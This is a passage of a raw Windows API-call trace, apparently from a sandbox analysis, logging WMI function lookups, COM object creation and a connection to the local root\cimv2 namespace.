lpProcName="VerifyClientKey") returned 0x6a312270 [0101.750] GetProcAddress (hModule=0x6a310000, lpProcName="GetQualifierSet") returned 0x6a311d73 [0101.753] GetProcAddress (hModule=0x6a310000, lpProcName="Get") returned 0x6a311b96 [0101.757] GetProcAddress (hModule=0x6a310000, lpProcName="Put") returned 0x6a311b7a [0101.761] GetProcAddress (hModule=0x6a310000, lpProcName="Delete") returned 0x6a311bb5 [0101.764] GetProcAddress (hModule=0x6a310000, lpProcName="GetNames") returned 0x6a311bc8 [0101.768] GetProcAddress (hModule=0x6a310000, lpProcName="BeginEnumeration") returned 0x6a311be4 [0101.772] GetProcAddress (hModule=0x6a310000, lpProcName="Next") returned 0x6a311bf7 [0101.775] GetProcAddress (hModule=0x6a310000, lpProcName="EndEnumeration") returned 0x6a311c16 [0101.779] GetProcAddress (hModule=0x6a310000, lpProcName="GetPropertyQualifierSet") returned 0x6a311c26 [0101.782] GetProcAddress (hModule=0x6a310000, lpProcName="Clone") returned 0x6a311aa2 [0101.783] GetProcAddress (hModule=0x6a310000, lpProcName="GetObjectText") returned 0x6a311c3c [0101.786] GetProcAddress (hModule=0x6a310000, lpProcName="SpawnDerivedClass") returned 0x6a311c52 [0101.790] GetProcAddress (hModule=0x6a310000, lpProcName="SpawnInstance") returned 0x6a311c68 [0101.794] GetProcAddress (hModule=0x6a310000, lpProcName="CompareTo") returned 0x6a311c7e [0101.797] GetProcAddress (hModule=0x6a310000, lpProcName="GetPropertyOrigin") returned 0x6a311c94 [0101.800] GetProcAddress (hModule=0x6a310000, lpProcName="InheritsFrom") returned 0x6a311caa [0101.805] GetProcAddress (hModule=0x6a310000, lpProcName="GetMethod") returned 0x6a311cbd [0101.809] GetProcAddress (hModule=0x6a310000, lpProcName="PutMethod") returned 0x6a311cd9 [0101.812] GetProcAddress (hModule=0x6a310000, lpProcName="DeleteMethod") returned 0x6a311cf5 [0101.815] GetProcAddress (hModule=0x6a310000, lpProcName="BeginMethodEnumeration") returned 0x6a311d08 [0101.818] GetProcAddress (hModule=0x6a310000, lpProcName="NextMethod") returned 0x6a311d1b [0101.823] GetProcAddress (hModule=0x6a310000, lpProcName="EndMethodEnumeration") returned 0x6a311d37 [0101.826] GetProcAddress (hModule=0x6a310000, lpProcName="GetMethodQualifierSet") returned 0x6a311d47 [0101.829] GetProcAddress (hModule=0x6a310000, lpProcName="GetMethodOrigin") returned 0x6a311d5d [0101.833] GetProcAddress (hModule=0x6a310000, lpProcName="QualifierSet_Get") returned 0x6a311d86 [0101.836] GetProcAddress (hModule=0x6a310000, lpProcName="QualifierSet_Put") returned 0x6a311da2 [0101.840] GetProcAddress (hModule=0x6a310000, lpProcName="QualifierSet_Delete") returned 0x6a311dbb [0101.843] GetProcAddress (hModule=0x6a310000, lpProcName="QualifierSet_GetNames") returned 0x6a311dce [0101.847] GetProcAddress (hModule=0x6a310000, lpProcName="QualifierSet_BeginEnumeration") returned 0x6a311de4 [0101.850] GetProcAddress (hModule=0x6a310000, lpProcName="QualifierSet_Next") returned 0x6a311df7 [0101.854] GetProcAddress (hModule=0x6a310000, lpProcName="QualifierSet_EndEnumeration") returned 0x6a311e13 [0101.857] GetProcAddress (hModule=0x6a310000, lpProcName="GetCurrentApartmentType") returned 0x6a311d73 [0101.861] GetProcAddress (hModule=0x6a310000, lpProcName="GetDemultiplexedStub") returned 0x6a3118fd [0101.865] GetProcAddress (hModule=0x6a310000, lpProcName="CreateInstanceEnumWmi") returned 0x6a311580 [0101.871] GetProcAddress (hModule=0x6a310000, lpProcName="CreateClassEnumWmi") returned 0x6a3115f6 [0101.875] GetProcAddress (hModule=0x6a310000, lpProcName="ExecQueryWmi") returned 0x6a31169e [0101.878] GetProcAddress (hModule=0x6a310000, lpProcName="ExecNotificationQueryWmi") returned 0x6a311717 [0101.882] GetProcAddress (hModule=0x6a310000, lpProcName="PutInstanceWmi") returned 0x6a311790 [0101.884] GetProcAddress (hModule=0x6a310000, lpProcName="PutClassWmi") returned 0x6a311810 [0101.886] GetProcAddress (hModule=0x6a310000, lpProcName="CloneEnumWbemClassObject") returned 0x6a311890 [0101.888] GetProcAddress (hModule=0x6a310000, lpProcName="ConnectServerWmi") returned 0x6a3124b7 [0101.890] IComThreadingInfo:GetCurrentApartmentType (in: This=0x697b04, pAptType=0x5e8f238 | out: pAptType=0x5e8f238*=1) returned 0x0 [0101.938] IUnknown:QueryInterface (in: This=0x697b04, riid=0x2ad2fb0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x5e8f23c | out: ppvObject=0x5e8f23c*=0x0) returned 0x80004002 [0101.939] IUnknown:Release (This=0x697b04) returned 0x0 [0102.018] IIDFromString (in: lpsz="{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}", lpiid=0x5e8edf0 | out: lpiid=0x5e8edf0) returned 0x0 [0102.019] CoGetClassObject (in: rclsid=0x721b34*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7489a3b0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5e8ed58 | out: ppv=0x5e8ed58*=0x5370810) returned 0x0 [0102.028] WbemDefPath:IUnknown:QueryInterface (in: This=0x5370810, riid=0x74987ecc*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e8eb88 | out: ppvObject=0x5e8eb88*=0x0) returned 0x80004002 [0102.028] WbemDefPath:IClassFactory:CreateInstance (in: This=0x5370810, pUnkOuter=0x0, riid=0x74917714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8ebc0 | out: ppvObject=0x5e8ebc0*=0x5370820) returned 0x0 [0102.029] WbemDefPath:IUnknown:QueryInterface (in: This=0x5370820, riid=0x74917714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8e964 | out: ppvObject=0x5e8e964*=0x5370820) returned 0x0 [0102.029] WbemDefPath:IUnknown:QueryInterface (in: This=0x5370820, riid=0x74934204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e8e920 | out: ppvObject=0x5e8e920*=0x0) returned 0x80004002 [0102.029] WbemDefPath:IUnknown:AddRef (This=0x5370820) returned 0x3 [0102.030] CoGetContextToken (in: pToken=0x5e8e7ac | out: pToken=0x5e8e7ac) returned 0x0 [0102.030] CoGetObjectContext (in: riid=0x74917714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x75573c | out: ppv=0x75573c*=0x697af8) returned 0x0 [0102.030] WbemDefPath:IUnknown:QueryInterface (in: This=0x5370820, riid=0x748123cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8e794 | out: ppvObject=0x5e8e794*=0x758b00) returned 0x0 [0102.030] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x758b00, riid=0x74917714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5e8e79c | out: pCid=0x5e8e79c*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0102.030] WbemDefPath:IUnknown:Release (This=0x758b00) returned 0x3 [0102.031] CoGetContextToken (in: pToken=0x5e8e7a4 | out: pToken=0x5e8e7a4) returned 0x0 [0102.031] WbemDefPath:IUnknown:AddRef (This=0x5370820) returned 0x4 [0102.031] WbemDefPath:IUnknown:QueryInterface (in: This=0x5370820, riid=0x7486767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8e818 | out: ppvObject=0x5e8e818*=0x0) returned 0x80004002 [0102.031] WbemDefPath:IUnknown:Release (This=0x5370820) returned 0x3 [0102.031] WbemDefPath:IUnknown:Release (This=0x5370820) returned 0x2 [0102.031] WbemDefPath:IUnknown:Release (This=0x5370810) returned 0x0 [0102.031] WbemDefPath:IUnknown:Release (This=0x5370820) returned 0x1 [0102.032] CoGetContextToken (in: pToken=0x5e8f054 | out: pToken=0x5e8f054) returned 0x0 [0102.032] CoGetContextToken (in: pToken=0x5e8f014 | out: pToken=0x5e8f014) returned 0x0 [0102.032] WbemDefPath:IUnknown:AddRef (This=0x5370820) returned 0x2 [0102.032] WbemDefPath:IUnknown:QueryInterface (in: This=0x5370820, riid=0x5e8f090*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x5e8f08c | out: ppvObject=0x5e8f08c*=0x5370820) returned 0x0 [0102.032] WbemDefPath:IUnknown:Release (This=0x5370820) returned 0x2 [0102.032] WbemDefPath:IUnknown:Release (This=0x5370820) returned 0x1 [0102.033] CoGetObjectContext (in: riid=0x2ad2fc8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5e8ea64 | out: ppv=0x5e8ea64*=0x697b04) returned 0x0 [0102.033] IComThreadingInfo:GetCurrentApartmentType (in: This=0x697b04, pAptType=0x5e8ea5c | out: pAptType=0x5e8ea5c*=1) returned 0x0 [0102.033] IUnknown:QueryInterface (in: This=0x697b04, riid=0x2ad2fb0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x5e8ea60 | out: ppvObject=0x5e8ea60*=0x0) returned 0x80004002 [0102.033] IUnknown:Release (This=0x697b04) returned 0x1 [0102.038] CoGetClassObject (in: rclsid=0x721b34*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7489a3b0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5e8e57c | out: ppv=0x5e8e57c*=0x5370810) returned 0x0 [0102.038] WbemDefPath:IUnknown:QueryInterface (in: This=0x5370810, riid=0x74987ecc*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e8e3ac | out: ppvObject=0x5e8e3ac*=0x0) returned 0x80004002 [0102.038] WbemDefPath:IClassFactory:CreateInstance (in: This=0x5370810, pUnkOuter=0x0, riid=0x74917714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8e3e4 | out: ppvObject=0x5e8e3e4*=0x53708b8) returned 0x0 [0102.038] WbemDefPath:IUnknown:QueryInterface (in: This=0x53708b8, riid=0x74917714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8e188 | out: ppvObject=0x5e8e188*=0x53708b8) returned 0x0 [0102.039] WbemDefPath:IUnknown:QueryInterface (in: This=0x53708b8, riid=0x74934204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e8e144 | out: ppvObject=0x5e8e144*=0x0) returned 0x80004002 [0102.039] WbemDefPath:IUnknown:AddRef (This=0x53708b8) returned 0x3 [0102.039] CoGetContextToken (in: pToken=0x5e8dfd0 | out: pToken=0x5e8dfd0) returned 0x0 [0102.039] WbemDefPath:IUnknown:QueryInterface (in: This=0x53708b8, riid=0x748123cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8dfb8 | out: ppvObject=0x5e8dfb8*=0x758b10) returned 0x0 [0102.039] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x758b10, riid=0x74917714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5e8dfc0 | out: pCid=0x5e8dfc0*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0102.039] WbemDefPath:IUnknown:Release (This=0x758b10) returned 0x3 [0102.040] CoGetContextToken (in: pToken=0x5e8dfc8 | out: pToken=0x5e8dfc8) returned 0x0 [0102.040] WbemDefPath:IUnknown:AddRef (This=0x53708b8) returned 0x4 [0102.040] WbemDefPath:IUnknown:QueryInterface (in: This=0x53708b8, riid=0x7486767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8e03c | out: ppvObject=0x5e8e03c*=0x0) returned 0x80004002 [0102.040] WbemDefPath:IUnknown:Release (This=0x53708b8) returned 0x3 [0102.040] WbemDefPath:IUnknown:Release (This=0x53708b8) returned 0x2 [0102.040] WbemDefPath:IUnknown:Release (This=0x5370810) returned 0x0 [0102.040] WbemDefPath:IUnknown:Release (This=0x53708b8) returned 0x1 [0102.041] CoGetContextToken (in: pToken=0x5e8e878 | out: pToken=0x5e8e878) returned 0x0 [0102.041] CoGetContextToken (in: pToken=0x5e8e838 | out: pToken=0x5e8e838) returned 0x0 [0102.041] WbemDefPath:IUnknown:AddRef (This=0x53708b8) returned 0x2 [0102.041] WbemDefPath:IUnknown:QueryInterface (in: This=0x53708b8, riid=0x5e8e8b4*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x5e8e8b0 | out: ppvObject=0x5e8e8b0*=0x53708b8) returned 0x0 [0102.041] WbemDefPath:IUnknown:Release (This=0x53708b8) returned 0x2 [0102.041] WbemDefPath:IUnknown:Release (This=0x53708b8) returned 0x1 [0102.054] CoGetContextToken (in: pToken=0x5e8e8f8 | out: pToken=0x5e8e8f8) returned 0x0 [0102.054] CoGetContextToken (in: pToken=0x5e8e8b8 | out: pToken=0x5e8e8b8) returned 0x0 [0102.054] WbemDefPath:IUnknown:AddRef (This=0x53708b8) returned 0x2 [0102.054] WbemDefPath:IUnknown:QueryInterface (in: This=0x53708b8, riid=0x5e8e934*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x5e8e930 | out: ppvObject=0x5e8e930*=0x53708b8) returned 0x0 [0102.055] WbemDefPath:IUnknown:Release (This=0x53708b8) returned 0x2 [0102.055] WbemDefPath:IUnknown:AddRef (This=0x53708b8) returned 0x3 [0102.055] WbemDefPath:IWbemPath:SetText (This=0x53708b8, uMode=0x4, pszPath="//./root/cimv2") returned 0x0 [0102.055] WbemDefPath:IUnknown:Release (This=0x53708b8) returned 0x2 [0102.056] CoGetContextToken (in: pToken=0x5e8f0d4 | out: pToken=0x5e8f0d4) returned 0x0 [0102.056] CoGetContextToken (in: pToken=0x5e8f094 | out: pToken=0x5e8f094) returned 0x0 [0102.056] WbemDefPath:IUnknown:AddRef (This=0x5370820) returned 0x2 [0102.056] WbemDefPath:IUnknown:QueryInterface (in: This=0x5370820, riid=0x5e8f110*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x5e8f10c | out: ppvObject=0x5e8f10c*=0x5370820) returned 0x0 [0102.056] WbemDefPath:IUnknown:Release (This=0x5370820) returned 0x2 [0102.056] WbemDefPath:IUnknown:AddRef (This=0x5370820) returned 0x3 [0102.056] WbemDefPath:IWbemPath:SetText (This=0x5370820, uMode=0x4, pszPath="\\\\localhost\\root\\cimv2") returned 0x0 [0102.056] WbemDefPath:IUnknown:Release (This=0x5370820) returned 0x2 [0102.062] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5370820, puCount=0x5e8f278 | out: puCount=0x5e8f278*=0x2) returned 0x0 [0102.069] WbemDefPath:IWbemPath:GetText (in: This=0x5370820, lFlags=4, puBuffLength=0x5e8f274*=0x0, pszText=0x0 | out: puBuffLength=0x5e8f274*=0x17, pszText=0x0) returned 0x0 [0102.071] WbemDefPath:IWbemPath:GetText (in: This=0x5370820, lFlags=4, puBuffLength=0x5e8f274*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8f274*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0102.088] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5370820, puCount=0x5e8f274 | out: puCount=0x5e8f274*=0x2) returned 0x0 [0102.088] WbemDefPath:IWbemPath:GetText (in: This=0x5370820, lFlags=4, puBuffLength=0x5e8f270*=0x0, pszText=0x0 | out: puBuffLength=0x5e8f270*=0x17, pszText=0x0) returned 0x0 [0102.088] WbemDefPath:IWbemPath:GetText (in: This=0x5370820, lFlags=4, puBuffLength=0x5e8f270*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8f270*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0102.088] CoGetObjectContext (in: riid=0x2ad2fc8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5e8f1f0 | out: ppv=0x5e8f1f0*=0x697b04) returned 0x0 [0102.088] IComThreadingInfo:GetCurrentApartmentType (in: This=0x697b04, pAptType=0x5e8f1e8 | out: pAptType=0x5e8f1e8*=1) returned 0x0 [0102.088] IUnknown:QueryInterface (in: This=0x697b04, riid=0x2ad2fb0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x5e8f1ec | out: ppvObject=0x5e8f1ec*=0x0) returned 0x80004002 [0102.088] IUnknown:Release (This=0x697b04) returned 0x1 [0102.089] IIDFromString (in: lpsz="{4590F811-1D3A-11D0-891F-00AA004B2E24}", lpiid=0x5e8f0d8 | out: lpiid=0x5e8f0d8) returned 0x0 [0102.089] CoGetClassObject (in: rclsid=0x76351c*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7489a3b0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5e8f040 | out: ppv=0x5e8f040*=0x5370ad0) returned 0x0 [0102.129] WbemLocator:IUnknown:QueryInterface (in: This=0x5370ad0, riid=0x74987ecc*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e8ee70 | out: ppvObject=0x5e8ee70*=0x0) returned 0x80004002 [0102.129] WbemLocator:IClassFactory:CreateInstance (in: This=0x5370ad0, pUnkOuter=0x0, riid=0x74917714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8eea8 | out: ppvObject=0x5e8eea8*=0x5370bf0) returned 0x0 [0102.129] WbemLocator:IUnknown:QueryInterface (in: This=0x5370bf0, riid=0x74917714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8ec4c | out: ppvObject=0x5e8ec4c*=0x5370bf0) returned 0x0 [0102.129] WbemLocator:IUnknown:QueryInterface (in: This=0x5370bf0, riid=0x74934204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e8ec08 | out: ppvObject=0x5e8ec08*=0x0) returned 0x80004002 [0102.130] WbemLocator:IUnknown:AddRef (This=0x5370bf0) returned 0x3 [0102.130] CoGetContextToken (in: pToken=0x5e8ea94 | out: pToken=0x5e8ea94) returned 0x0 [0102.130] WbemLocator:IUnknown:QueryInterface (in: This=0x5370bf0, riid=0x748123cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8ea7c | out: ppvObject=0x5e8ea7c*=0x0) returned 0x80004002 [0102.130] CoGetContextToken (in: pToken=0x5e8ea8c | out: pToken=0x5e8ea8c) returned 0x0 [0102.130] WbemLocator:IUnknown:AddRef (This=0x5370bf0) returned 0x4 [0102.130] WbemLocator:IUnknown:QueryInterface (in: This=0x5370bf0, riid=0x7486767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8eb00 | out: ppvObject=0x5e8eb00*=0x0) returned 0x80004002 [0102.131] WbemLocator:IUnknown:Release (This=0x5370bf0) returned 0x3 [0102.131] WbemLocator:IUnknown:Release (This=0x5370bf0) returned 0x2 [0102.132] WbemLocator:IUnknown:Release (This=0x5370ad0) returned 0x0 [0102.132] WbemLocator:IUnknown:Release (This=0x5370bf0) returned 0x1 [0102.132] CoGetContextToken (in: pToken=0x5e8ef98 | out: pToken=0x5e8ef98) returned 0x0 [0102.132] CoGetContextToken (in: pToken=0x5e8ef58 | out: pToken=0x5e8ef58) returned 0x0 [0102.132] WbemLocator:IUnknown:AddRef (This=0x5370bf0) returned 0x2 [0102.132] WbemLocator:IUnknown:QueryInterface (in: This=0x5370bf0, riid=0x5e8efd4*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x5e8efd0 | out: ppvObject=0x5e8efd0*=0x5370bf0) returned 0x0 [0102.132] WbemLocator:IUnknown:Release (This=0x5370bf0) returned 0x2 [0102.132] WbemLocator:IUnknown:Release (This=0x5370bf0) returned 0x1 [0102.133] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5370820, puCount=0x5e8f1c8 | out: puCount=0x5e8f1c8*=0x2) returned 0x0 [0102.134] WbemDefPath:IWbemPath:GetText (in: This=0x5370820, lFlags=8, puBuffLength=0x5e8f1c4*=0x0, pszText=0x0 | out: puBuffLength=0x5e8f1c4*=0x17, pszText=0x0) returned 0x0 [0102.136] WbemDefPath:IWbemPath:GetText (in: This=0x5370820, lFlags=8, puBuffLength=0x5e8f1c4*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8f1c4*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0102.136] CoCreateInstance (in: rclsid=0x6a3113a0*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x6a3112d0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x5e8eca0 | out: ppv=0x5e8eca0*=0x5370c00) returned 0x0 [0102.136] WbemLocator:IWbemLocator:ConnectServer (in: This=0x5370c00, strNetworkResource="\\\\localhost\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x5e8ecec | out: ppNamespace=0x5e8ecec*=0x537d3c4) returned 0x0 [0111.687] WbemLocator:IUnknown:QueryInterface (in: This=0x537d3c4, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8ebbc | out: ppvObject=0x5e8ebbc*=0x77013c) returned 0x0 [0111.688] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x77013c, pProxy=0x537d3c4, pAuthnSvc=0x5e8ec04, pAuthzSvc=0x5e8ec00, pServerPrincName=0x5e8ec10, pAuthnLevel=0x5e8ec08, pImpLevel=0x5e8ebf4, pAuthInfo=0x5e8ebf8, pCapabilites=0x5e8ebfc | out: pAuthnSvc=0x5e8ec04*=0xa, pAuthzSvc=0x5e8ec00*=0x0, pServerPrincName=0x5e8ec10, pAuthnLevel=0x5e8ec08*=0x6, pImpLevel=0x5e8ebf4*=0x2, pAuthInfo=0x5e8ebf8, pCapabilites=0x5e8ebfc*=0x1) returned 0x0 [0111.688] WbemLocator:IUnknown:Release (This=0x77013c) returned 0x1 [0111.688] WbemLocator:IUnknown:QueryInterface (in: This=0x537d3c4, riid=0x6a311250*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8ebb0 | out: ppvObject=0x5e8ebb0*=0x77015c) returned 0x0 [0111.688] WbemLocator:IUnknown:QueryInterface (in: This=0x537d3c4, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8ebac | out: ppvObject=0x5e8ebac*=0x77013c) returned 0x0 [0111.688] WbemLocator:IClientSecurity:SetBlanket (This=0x77013c, pProxy=0x537d3c4, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x4, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0111.689] WbemLocator:IUnknown:Release (This=0x77013c) returned 0x2 [0111.689] WbemLocator:IUnknown:Release (This=0x77015c) returned 0x1 [0111.689] CoTaskMemFree (pv=0x7558e0) [0111.689] WbemLocator:IUnknown:Release (This=0x5370c00) returned 0x0 [0111.689] WbemLocator:IUnknown:QueryInterface (in: This=0x537d3c4, riid=0x74917714*(Data1=0x0, Data2=0x0, Data3=0x0, 